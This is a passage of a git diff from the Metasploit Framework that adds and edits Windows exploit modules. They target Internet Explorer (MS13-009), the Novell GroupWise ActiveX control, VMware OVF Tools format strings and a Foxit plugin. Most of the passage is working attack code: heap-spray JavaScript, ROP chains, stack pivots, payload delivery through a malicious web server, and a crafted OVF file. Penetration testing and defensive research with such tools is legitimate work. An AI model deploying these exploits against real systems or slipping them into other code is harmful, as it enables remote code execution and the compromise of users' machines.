RETN [npFoxitReaderPlugin.dll] + 0x00001000, # 0x00001000-> edx + 0x1000d9ec, # XOR EDX, EDX # RETN + 0x1000d9be, # ADD EDX,EBX # POP EBX # RETN 0x10 [npFoxitReaderPlugin.dll] + junk, + 0x100074a7, # POP ECX # RETN [npFoxitReaderPlugin.dll] + junk, + junk, + junk, + 0x41414141, # Filler (RETN offset compensation) + 0x00000040, # 0x00000040-> ecx + 0x1000e4ab, # POP EBX # RETN [npFoxitReaderPlugin.dll] + 0x00000001, # 0x00000001-> ebx + 0x1000dc86, # POP EDI # RETN [npFoxitReaderPlugin.dll] + 0x1000eb81, # RETN (ROP NOP) [npFoxitReaderPlugin.dll] + 0x1000c57d, # POP EAX # RETN [npFoxitReaderPlugin.dll] + nops, + 0x10005638, # PUSHAD # RETN [npFoxitReaderPlugin.dll] + ].flatten.pack("V*") + + return rop_gadgets + end + + def on_request_uri(cli, request) + + agent = request.headers['User-Agent'] + my_target = get_target(agent) + + # Avoid the attack if no suitable target found + if my_target.nil? + print_error("Browser not supported, sending 404: #{agent}") + send_not_found(cli) + return + end + + unless self.respond_to?(my_target[:rop]) + print_error("Invalid target specified: no callback function defined") + send_not_found(cli) + return + end + + return if ((p = regenerate_payload(cli)) == nil) + + # we use two responses: + # one for an HTTP 301 redirect and sending the payload + # and one for sending the HTTP 200 OK with appropriate Content-Type + if request.resource =~ /\.pdf$/ + # sending Content-Type + resp = create_response(200, "OK") + resp.body = "" + resp['Content-Type'] = 'application/pdf' + resp['Content-Length'] = rand_text_numeric(3,"0") + cli.send_response(resp) + return + else + resp = create_response(301, "Moved Permanently") + resp.body = "" + + my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] + if datastore['SSL'] + schema = "https" + else + schema = "http" + end + + sploit = rand_text_alpha(my_target['Offset'] - "#{schema}://#{my_host}:#{datastore['SRVPORT']}#{request.uri}.pdf?".length) + sploit << [my_target.ret].pack("V") # EIP + sploit << [my_target['WritableAddress']].pack("V") # Writable Address + sploit << self.send(my_target[:rop]) + sploit << p.encoded + + resp['Location'] = request.uri + '.pdf?' + Rex::Text.uri_encode(sploit, 'hex-all') + cli.send_response(resp) + + # handle the payload + handler(cli) + end + end + +end diff --git a/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb b/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb index cee5f962a6..a7ba46418a 100644 --- a/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb +++ b/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb @@ -49,7 +49,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'unknown', # discovered in the wild - '@yuange1975', # PoC posted to twitter + 'Yuange', # PoC posted to twitter under @yuange1975 'Matteo Memelli', # exploit-db version 'jduck' # Metasploit module ], diff --git a/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb b/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb new file mode 100644 index 0000000000..781b2f7fc8 --- /dev/null +++ b/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb @@ -0,0 +1,205 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::RopDb + + def initialize(info={}) + super(update_info(info, + 'Name' => "MS13-009 Microsoft Internet Explorer SLayoutRun Use-After-Free", + 'Description' => %q{ + This module exploits a use-after-free vulnerability in Microsoft Internet Explorer + where a CParaElement node is released but a reference is still kept + in CDoc. This memory is reused when a CDoc relayout is performed. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Scott Bell ' # Vulnerability discovery & Metasploit module + ], + 'References' => + [ + [ 'CVE', '2013-0025' ], + [ 'MSB', 'MS13-009' ], + [ 'URL', 'http://security-assessment.com/files/documents/advisory/ie_slayoutrun_uaf.pdf' ] + ], + 'Payload' => + { + 'BadChars' => "\x00", + 'Space' => 920, + 'DisableNops' => true, + 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 + }, + 'DefaultOptions' => + { + 'InitialAutoRunScript' => 'migrate -f' + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Automatic', {} ], + [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x5f4 } ] + ], + 'Privileged' => false, + 'DisclosureDate' => "Feb 13 2013", + 'DefaultTarget' => 0)) + + register_options( + [ + OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) + ], self.class) + + end + + def get_target(agent) + #If the user is already specified by the user, we'll just use that + return target if target.name != 'Automatic' + + nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' + ie = agent.scan(/MSIE (\d)/).flatten[0] || '' + + ie_name = "IE #{ie}" + + case nt + when '5.1' + os_name = 'Windows XP SP3' + end + + targets.each do |t| + if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) + print_status("Target selected as: #{t.name}") + return t + end + end + + return nil + end + + def heap_spray(my_target, p) + js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch)) + js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch)) + + js = %Q| + + var heap_obj = new heapLib.ie(0x20000); + var code = unescape("#{js_code}"); + var nops = unescape("#{js_nops}"); + while (nops.length < 0x80000) nops += nops; + var offset = nops.substring(0, #{my_target['Offset']}); + var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); + while (shellcode.length < 0x40000) shellcode += shellcode; + var block = shellcode.substring(0, (0x80000-6)/2); + heap_obj.gc(); + for (var i=1; i < 0x300; i++) { + heap_obj.alloc(block); + } + var overflow = nops.substring(0, 10); + + | + + js = heaplib(js, {:noobfu => true}) + + if datastore['OBFUSCATE'] + js = ::Rex::Exploitation::JSObfu.new(js) + js.obfuscate + + end + + return js + end + + def get_payload(t, cli) + code = payload.encoded + + # No rop. Just return the payload. + return code if t['Rop'].nil? + + # ROP chain generated by mona.py - See corelan.be + case t['Rop'] + when :msvcrt + print_status("Using msvcrt ROP") + rop_nops = [0x77c39f92].pack("V") * 11 # RETN + rop_payload = generate_rop_payload('msvcrt', "", {'target'=>'xp'}) + rop_payload << rop_nops + rop_payload << [0x77c364d5].pack("V") # POP EBP # RETN + rop_payload << [0x77c15ed5].pack("V") # XCHG EAX, ESP # RETN + rop_payload << [0x77c35459].pack("V") # PUSH ESP # RETN + rop_payload << [0x77c39f92].pack("V") # RETN + rop_payload << [0x0c0c0c8c].pack("V") # Shellcode offset + rop_payload << code + end + + return rop_payload + end + + def get_exploit(my_target, cli) + p = get_payload(my_target, cli) + js = heap_spray(my_target, p) + + html = %Q| + + + + + + + +

+ + + | + + return html + end + + + def on_request_uri(cli, request) + agent = request.headers['User-Agent'] + uri = request.uri + print_status("Requesting: #{uri}") + + my_target = get_target(agent) + # Avoid the attack if no suitable target found + if my_target.nil? + print_error("Browser not supported, sending 404: #{agent}") + send_not_found(cli) + return + end + + html = get_exploit(my_target, cli) + html = html.gsub(/^\t\t/, '') + print_status "Sending HTML..." + send_response(cli, html, {'Content-Type'=>'text/html'}) + + end + +end + diff --git a/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb b/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb new file mode 100644 index 0000000000..1b6971b5c2 --- /dev/null +++ b/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb @@ -0,0 +1,320 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::RopDb + include Msf::Exploit::Remote::BrowserAutopwn + + autopwn_info({ + :ua_name => HttpClients::IE, + :ua_minver => "6.0", + :ua_maxver => "9.0", + :javascript => true, + :os_name => OperatingSystems::WINDOWS, + :rank => NormalRanking, + :classid => "{601D7813-408F-11D1-98D7-444553540000}", + :method => "SetEngine" + }) + + + def initialize(info={}) + super(update_info(info, + 'Name' => "Novell GroupWise Client gwcls1.dll ActiveX Remote Code Execution", + 'Description' => %q{ + This module exploits a vulnerability in the Novell GroupWise Client gwcls1.dll + ActiveX. Several methods in the GWCalServer control use user provided data as + a pointer, which allows to read arbitrary memory and execute arbitrary code. This + module has been tested successfully with GroupWise Client 2012 on IE6 - IE9. The + JRE6 needs to be installed to achieve ASLR bypass. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'rgod ', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2012-0439' ], + [ 'OSVDB', '89700' ], + [ 'BID' , '57658' ], + [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-008' ], + [ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7011688' ] + ], + 'Payload' => + { + 'BadChars' => "\x00", + 'Space' => 1040, + 'DisableNops' => true + }, + 'DefaultOptions' => + { + 'InitialAutoRunScript' => 'migrate -f' + }, + 'Platform' => 'win', + 'Targets' => + [ + # gwcls1.dll 12.0.0.8586 + [ 'Automatic', {} ], + [ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ], + [ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ], + [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x3e3' } ], + [ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4' } ], + [ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x3e3' } ], + [ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x3e3' } ], + [ 'IE 9 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x3ed' } ]#'0x5fe' } ] + ], + 'Privileged' => false, + 'DisclosureDate' => "Jan 30 2013", + 'DefaultTarget' => 0)) + + register_options( + [ + OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) + ], self.class) + + end + + def get_target(agent) + #If the user is already specified by the user, we'll just use that + return target if target.name != 'Automatic' + + nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' + ie = agent.scan(/MSIE (\d)/).flatten[0] || '' + + ie_name = "IE #{ie}" + + case nt + when '5.1' + os_name = 'Windows XP SP3' + when '6.0' + os_name = 'Windows Vista' + when '6.1' + os_name = 'Windows 7' + end + + targets.each do |t| + if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) + print_status("Target selected as: #{t.name}") + return t + end + end + + return nil + end + + def ie_heap_spray(my_target, p) + js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch)) + js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch)) + js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch)) + + # Land the payload at 0x0c0c0c0c + case my_target + when targets[7] + # IE 9 on Windows 7 + js = %Q| + function randomblock(blocksize) + { + var theblock = ""; + for (var i = 0; i < blocksize; i++) + { + theblock += Math.floor(Math.random()*90)+10; + } + return theblock; + } + + function tounescape(block) + { + var blocklen = block.length; + var unescapestr = ""; + for (var i = 0; i < blocklen-1; i=i+4) + { + unescapestr += "%u" + block.substring(i,i+4); + } + return unescapestr; + } + + var heap_obj = new heapLib.ie(0x10000); + var code = unescape("#{js_code}"); + var nops = unescape("#{js_random_nops}"); + while (nops.length < 0x80000) nops += nops; + var offset_length = #{my_target['Offset']}; + for (var i=0; i < 0x1000; i++) { + var padding = unescape(tounescape(randomblock(0x1000))); + while (padding.length < 0x1000) padding+= padding; + var junk_offset = padding.substring(0, offset_length); + var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length); + while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock; + sprayblock = single_sprayblock.substring(0, (0x40000-6)/2); + heap_obj.alloc(sprayblock); + } + | + + else + # For IE 6, 7, 8 + js = %Q| + var heap_obj = new heapLib.ie(0x20000); + var code = unescape("#{js_code}"); + var nops = unescape("#{js_nops}"); + while (nops.length < 0x80000) nops += nops; + var offset = nops.substring(0, #{my_target['Offset']}); + var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); + while (shellcode.length < 0x40000) shellcode += shellcode; + var block = shellcode.substring(0, (0x80000-6)/2); + heap_obj.gc(); + for (var i=1; i < 0x300; i++) { + heap_obj.alloc(block); + } + var overflow = nops.substring(0, 10); + | + + end + + js = heaplib(js, {:noobfu => true}) + + if datastore['OBFUSCATE'] + js = ::Rex::Exploitation::JSObfu.new(js) + js.obfuscate + end + + return js + end + + def stack_pivot + pivot = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb + pivot << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit + pivot << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit + pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset + return pivot + end + + def get_payload(t, cli) + code = payload.encoded + + # No rop. Just return the payload. + return [0x0c0c0c10 - 0x426].pack("V") + [0x0c0c0c14].pack("V") + code if t['Rop'].nil? + + # Both ROP chains generated by mona.py - See corelan.be + case t['Rop'] + when :msvcrt + print_status("Using msvcrt ROP") + rop_payload = generate_rop_payload('msvcrt', '', 'target'=>'xp') # Mapped at 0x0c0c07ea + jmp_shell = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+#{0x0c0c0c14 - 0x0c0c07ea - rop_payload.length}").encode_string + rop_payload << jmp_shell + rop_payload << rand_text_alpha(0x0c0c0c0c - 0x0c0c07ea- rop_payload.length) + rop_payload << [0x0c0c0c10 - 0x426].pack("V") # Mapped at 0x0c0c0c0c # 0x426 => vtable offset + rop_payload << [0x77c15ed5].pack("V") # Mapped at 0x0c0c0c10 # xchg eax, esp # ret + rop_payload << stack_pivot + rop_payload << code + else + print_status("Using JRE ROP") + rop_payload = generate_rop_payload('java', '') # Mapped at 0x0c0c07ea + jmp_shell = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+#{0x0c0c0c14 - 0x0c0c07ea - rop_payload.length}").encode_string + rop_payload << jmp_shell + rop_payload << rand_text_alpha(0x0c0c0c0c - 0x0c0c07ea- rop_payload.length) + rop_payload << [0x0c0c0c10 - 0x426].pack("V") # Mapped at 0x0c0c0c0c # 0x426 => vtable offset + rop_payload << [0x7C348B05].pack("V") # Mapped at 0x0c0c0c10 # xchg eax, esp # ret + rop_payload << stack_pivot + rop_payload << code + end + + return rop_payload + end + + + def load_exploit_html(my_target, cli) + p = get_payload(my_target, cli) + js = ie_heap_spray(my_target, p) + + trigger = "target.GetNXPItem(\"22/10/2013\", 1, 1);" * 200 + + html = %Q| + + + + + + + + + + + | + + return html + end + + def on_request_uri(cli, request) + agent = request.headers['User-Agent'] + uri = request.uri + print_status("Requesting: #{uri}") + + my_target = get_target(agent) + # Avoid the attack if no suitable target found + if my_target.nil? + print_error("Browser not supported, sending 404: #{agent}") + send_not_found(cli) + return + end + + html = load_exploit_html(my_target, cli) + html = html.gsub(/^\t\t/, '') + print_status("Sending HTML...") + send_response(cli, html, {'Content-Type'=>'text/html'}) + end + +end + + +=begin + +* Remote Code Exec + +(240.8d4): Access violation - code c0000005 (first chance) +First chance exceptions are reported before any exception handling. +This exception may be expected and handled. +*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\PROGRA~1\Novell\GROUPW~1\gwenv1.dll - +eax=00000000 ebx=0c0c0bec ecx=030c2998 edx=030c2998 esi=0c0c0bec edi=0013df58 +eip=10335e2d esp=0013de04 ebp=0013de8c iopl=0 nv up ei pl nz na po nc +cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202 +gwenv1!NgwOFErrorEnabledVector::SetParent+0x326b9d: +10335e2d 8a8e4f040000 mov cl,byte ptr [esi+44Fh] ds:0023:0c0c103b=?? + + +.text:103BDDEC mov eax, [ebp+var_4] // var_4 => Engine + 0x20 +.text:103BDDEF test esi, esi +.text:103BDDF1 jnz short loc_103BDE17 +.text:103BDDF3 cmp [eax+426h], esi +.text:103BDDF9 jz short loc_103BDE17 // Check function pointer against nil? +.text:103BDDFB mov ecx, [ebp+arg_8] +.text:103BDDFE mov edx, [ebp+arg_4] +.text:103BDE01 push ecx +.text:103BDE02 mov ecx, [eax+42Ah] // Carefully crafted object allows to control it +.text:103BDE08 push edx +.text:103BDE09 mov edx, [eax+426h] // Carefully crafted object allows to control it +.text:103BDE0F push ecx +.text:103BDE10 call edx // Win! + +* Info Leak + +// Memory disclosure => 4 bytes from an arbitrary address +// Unstable when info leaking and triggering rce path... +target.SetEngine(0x7ffe0300-0x45c); // Disclosing ntdll +var leak = target.GetMiscAccess(); +alert(leak); + +=end \ No newline at end of file diff --git a/modules/exploits/windows/browser/ovftool_format_string.rb b/modules/exploits/windows/browser/ovftool_format_string.rb new file mode 100644 index 0000000000..fa3681ff88 --- /dev/null +++ b/modules/exploits/windows/browser/ovftool_format_string.rb @@ -0,0 +1,134 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer::HTML + + def initialize(info={}) + super(update_info(info, + 'Name' => 'VMWare OVF Tools Format String Vulnerability', + 'Description' => %q{ + This module exploits a format string vulnerability in VMWare OVF Tools 2.1 for + Windows. The vulnerability occurs when printing error messages while parsing a + a malformed OVF file. The module has been tested successfully with VMWare OVF Tools + 2.1 on Windows XP SP3. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Jeremy Brown', # Vulnerability discovery + 'juan vazquez' # Metasploit Module + ], + 'References' => + [ + [ 'CVE', '2012-3569' ], + [ 'OSVDB', '87117' ], + [ 'BID', '56468' ], + [ 'URL', 'http://www.vmware.com/security/advisories/VMSA-2012-0015.html' ] + ], + 'Payload' => + { + 'DisableNops' => true, + 'BadChars' => + (0x00..0x08).to_a.pack("C*") + + "\x0b\x0c\x0e\x0f" + + (0x10..0x1f).to_a.pack("C*") + + (0x80..0xff).to_a.pack("C*") + + "\x22", + 'StackAdjustment' => -3500, + 'PrependEncoder' => "\x54\x59", # push esp # pop ecx + 'EncoderOptions' => + { + 'BufferRegister' => 'ECX', + 'BufferOffset' => 6 + } + }, + 'DefaultOptions' => + { + 'InitialAutoRunScript' => 'migrate -f' + }, + 'Platform' => 'win', + 'Targets' => + [ + # vmware-ovftool-2.1.0-467744-win-i386.msi + [ 'VMWare OVF Tools 2.1 on Windows XP SP3', + { + 'Ret' => 0x7852753d, # call esp # MSVCR90.dll 9.00.30729.4148 installed with VMware OVF Tools 2.1 + 'AddrPops' => 98, + 'StackPadding' => 38081, + 'Alignment' => 4096 + } + ], + ], + 'Privileged' => false, + 'DisclosureDate' => 'Nov 08 2012', + 'DefaultTarget' => 0)) + + end + + def ovf + my_payload = rand_text_alpha(4) # ebp + my_payload << [target.ret].pack("V") # eip # call esp + my_payload << payload.encoded + + fs = rand_text_alpha(target['StackPadding']) # Padding until address aligned to 0x10000 (for example 0x120000) + fs << rand_text_alpha(target['Alignment']) # Align to 0x11000 + fs << my_payload + # 65536 => 0x10000 + # 27 => Error message prefix length + fs << rand_text_alpha(65536 - 27 - target['StackPadding'] - target['Alignment'] - my_payload.length - (target['AddrPops'] * 8)) + fs << "%08x" * target['AddrPops'] # Reach saved EBP + fs << "%hn" # Overwrite LSW of saved EBP with 0x1000 + + ovf_file = <<-EOF + + + + + + + Virtual disk information + + + + A virtual machine + + + EOF + ovf_file + end + + def on_request_uri(cli, request) + agent = request.headers['User-Agent'] + uri = request.uri + + if agent !~ /VMware-client/ or agent !~ /ovfTool/ + print_status("User agent #{agent} not recognized, answering Not Found...") + send_not_found(cli) + end + + if uri =~ /.mf$/ + # The manifest file isn't required + print_status("Sending Not Found for Manifest file request...") + send_not_found(cli) + end + + print_status("Sending OVF exploit...") + send_response(cli, ovf, {'Content-Type'=>'text/xml'}) + end + +end \ No newline at end of file diff --git a/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb b/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb index a8ba842b7e..2e2ad87d3f 100644 --- a/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb +++ b/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb @@ -25,8 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'Unknown', # 0day found in the wild - '@sn0wfl0w', # initial analysis - '@vicheck', # initial analysis + 'sn0wfl0w', # initial analysis, also @vicheck on twitter 'jduck' # Metasploit module ], 'References' => diff --git a/modules/exploits/windows/fileformat/ovf_format_string.rb b/modules/exploits/windows/fileformat/ovf_format_string.rb new file mode 100644 index 0000000000..cbd21fed2a --- /dev/null +++ b/modules/exploits/windows/fileformat/ovf_format_string.rb @@ -0,0 +1,119 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::FILEFORMAT + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'VMWare OVF Tools Format String Vulnerability', + 'Description' => %q{ + This module exploits a format string vulnerability in VMWare OVF Tools 2.1 for + Windows. The vulnerability occurs when printing error messages while parsing a + a malformed OVF file. The module has been tested successfully with VMWare OVF Tools + 2.1 on Windows XP SP3. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Jeremy Brown', # Vulnerability discovery + 'juan vazquez' # Metasploit Module + ], + 'References' => + [ + [ 'CVE', '2012-3569' ], + [ 'OSVDB', '87117' ], + [ 'BID', '56468' ], + [ 'URL', 'http://www.vmware.com/security/advisories/VMSA-2012-0015.html' ] + ], + 'Payload' => + { + 'DisableNops' => true, + 'BadChars' => + (0x00..0x08).to_a.pack("C*") + + "\x0b\x0c\x0e\x0f" + + (0x10..0x1f).to_a.pack("C*") + + (0x80..0xff).to_a.pack("C*") + + "\x22", + 'StackAdjustment' => -3500, + 'PrependEncoder' => "\x54\x59", # push esp # pop ecx + 'EncoderOptions' => + { + 'BufferRegister' => 'ECX', + 'BufferOffset' => 6 + } + }, + 'Platform' => 'win', + 'Targets' => + [ + # vmware-ovftool-2.1.0-467744-win-i386.msi + [ 'VMWare OVF Tools 2.1 on Windows XP SP3', + { + 'Ret' => 0x7852753d, # call esp # MSVCR90.dll 9.00.30729.4148 installed with VMware OVF Tools 2.1 + 'AddrPops' => 98, + 'StackPadding' => 38081, + 'Alignment' => 4096 + } + ], + ], + 'Privileged' => false, + 'DisclosureDate' => 'Nov 08 2012', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('FILENAME', [ true, 'The file name.', 'msf.ovf']), + ], self.class) + end + + def ovf + my_payload = rand_text_alpha(4) # ebp + my_payload << [target.ret].pack("V") # eip # call esp + my_payload << payload.encoded + + fs = rand_text_alpha(target['StackPadding']) # Padding until address aligned to 0x10000 (for example 0x120000) + fs << rand_text_alpha(target['Alignment']) # Align to 0x11000 + fs << my_payload + # 65536 => 0x10000 + # 27 => Error message prefix length + fs << rand_text_alpha(65536 - 27 - target['StackPadding'] - target['Alignment'] - my_payload.length - (target['AddrPops'] * 8)) + fs << "%08x" * target['AddrPops'] # Reach saved EBP + fs << "%hn" # Overwrite LSW of saved EBP with 0x1000 + + ovf_file = <<-EOF + + + + + + + Virtual disk information + + + + A virtual machine + + + EOF + ovf_file + end + + def exploit + print_status("Creating '#{datastore['FILENAME']}'. This files should be opened with VMMWare OVF 2.1") + file_create(ovf) + end +end diff --git a/modules/exploits/windows/http/easyftp_list.rb b/modules/exploits/windows/http/easyftp_list.rb index 3484cdf86f..e162cd74f6 100644 --- a/modules/exploits/windows/http/easyftp_list.rb +++ b/modules/exploits/windows/http/easyftp_list.rb @@ -72,8 +72,8 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ Opt::RPORT(8080), - OptString.new('BasicAuthUser', [true, 'The HTTP username to specify for basic authentication', 'anonymous']), - OptString.new('BasicAuthPass', [true, 'The HTTP password to specify for basic authentication', 'mozilla@example.com']), + OptString.new('USERNAME', [true, 'The HTTP username to specify for basic authentication', 'anonymous']), + OptString.new('PASSWORD', [true, 'The HTTP password to specify for basic authentication', 'mozilla@example.com']) ], self.class) end diff --git a/modules/exploits/windows/http/php_apache_request_headers_bof.rb b/modules/exploits/windows/http/php_apache_request_headers_bof.rb index 253866b1c8..be89cbc5a4 100644 --- a/modules/exploits/windows/http/php_apache_request_headers_bof.rb +++ b/modules/exploits/windows/http/php_apache_request_headers_bof.rb @@ -103,7 +103,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.to_s), + 'uri' => normalize_uri(target_uri.path), 'method' => 'GET', 'headers' => { diff --git a/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb b/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb index c73b3b2499..34857f9f84 100644 --- a/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb +++ b/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb @@ -62,7 +62,7 @@ class Metasploit3 < Msf::Exploit::Remote def check - res = send_request_raw({'uri'=>normalize_uri(target_uri.host)}) + res = send_request_raw({'uri'=>'/'}) # Check the base path for version regex if res and res.body =~ /\Scrutinizer\<\/title\>/ and res.body =~ /\
Scrutinizer 9\.[0-5]\.[0-1]\<\/div\>/ return Exploit::CheckCode::Vulnerable diff --git a/modules/exploits/windows/http/sybase_easerver.rb b/modules/exploits/windows/http/sybase_easerver.rb index e095918645..3fd2b947b8 100644 --- a/modules/exploits/windows/http/sybase_easerver.rb +++ b/modules/exploits/windows/http/sybase_easerver.rb @@ -70,7 +70,7 @@ class Metasploit3 < Msf::Exploit::Remote # Sending the request res = send_request_cgi({ - 'uri' => normalize_uri(datastore['DIR']) + '/Login.jsp?' + crash, + 'uri' => normalize_uri(datastore['DIR'], '/Login.jsp?') + crash, 'method' => 'GET', 'headers' => { 'Accept' => '*/*', diff --git a/modules/exploits/windows/http/sysax_create_folder.rb b/modules/exploits/windows/http/sysax_create_folder.rb index 76322d9aab..1e678f874d 100644 --- a/modules/exploits/windows/http/sysax_create_folder.rb +++ b/modules/exploits/windows/http/sysax_create_folder.rb @@ -126,12 +126,12 @@ class Metasploit3 < Msf::Exploit::Remote pass = datastore['SysaxPASS'] creds = "fd=#{Rex::Text.encode_base64(user+"\x0a"+pass)}" - uri = normalize_uri(target_uri.to_s) + uri = target_uri.path # Login to get SID value r = send_request_cgi({ 'method' => "POST", - 'uri' => "#{uri}/scgi?sid=0&pid=dologin", - 'data' => creds + 'uri' => normalize_uri("#{uri}/scgi?sid=0&pid=dologin"), + 'data' => creds }) # Parse response for SID token @@ -146,9 +146,9 @@ class Metasploit3 < Msf::Exploit::Remote # Find the path because it's used to help calculate the offset random_folder_name = rand_text_alpha(8) # This folder should not exist in the root dir - uri normalize_uri(target_uri.to_s) + uri = normalize_uri(target_uri.path) r = send_request_cgi({ - 'uri' => "#{uri}/scgi?sid=#{sid}&pid=transferpage2_name1_#{random_folder_name}.htm", + 'uri' => normalize_uri("#{uri}/scgi?sid=#{sid}&pid=transferpage2_name1_#{random_folder_name}.htm"), 'method' => 'POST', }) @@ -182,9 +182,9 @@ class Metasploit3 < Msf::Exploit::Remote post_data = Rex::MIME::Message.new post_data.add_part(buffer, nil, nil, "form-data; name=\"e2\"") post_data.bound = rand_text_numeric(57) # example; "---------------------------12816808881949705206242427669" - uri = normalize_uri(target_uri.to_s) + uri = normalize_uri(target_uri.path) r = send_request_cgi({ - 'uri' => "#{uri}/scgi?sid=#{sid}&pid=mk_folder2_name1.htm", + 'uri' => normalize_uri("#{uri}/scgi?sid=#{sid}&pid=mk_folder2_name1.htm"), 'method' => 'POST', 'data' => post_data.to_s, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", diff --git a/modules/exploits/windows/http/xampp_webdav_upload_php.rb b/modules/exploits/windows/http/xampp_webdav_upload_php.rb index c19096b2c8..f5b21a0499 100644 --- a/modules/exploits/windows/http/xampp_webdav_upload_php.rb +++ b/modules/exploits/windows/http/xampp_webdav_upload_php.rb @@ -36,8 +36,8 @@ class Metasploit3 < Msf::Exploit::Remote [ OptString.new('PATH', [ true, "The path to attempt to upload", '/webdav/']), OptString.new('FILENAME', [ false , "The filename to give the payload. (Leave Blank for Random)"]), - OptString.new('RUSER', [ true, "The Username to use for Authentication", 'wampp']), - OptString.new('RPASS', [ true, "The Password to use for Authentication", 'xampp']) + OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication', 'wampp']), + OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', 'xampp']) ], self.class) end @@ -46,12 +46,12 @@ class Metasploit3 < Msf::Exploit::Remote def exploit uri = build_path print_status "Uploading Payload to #{uri}" - res,c = send_digest_request_cgi({ + res = send_request_cgi({ 'uri' => uri, 'method' => 'PUT', 'data' => payload.raw, - 'DigestAuthUser' => datastore['RUSER'], - 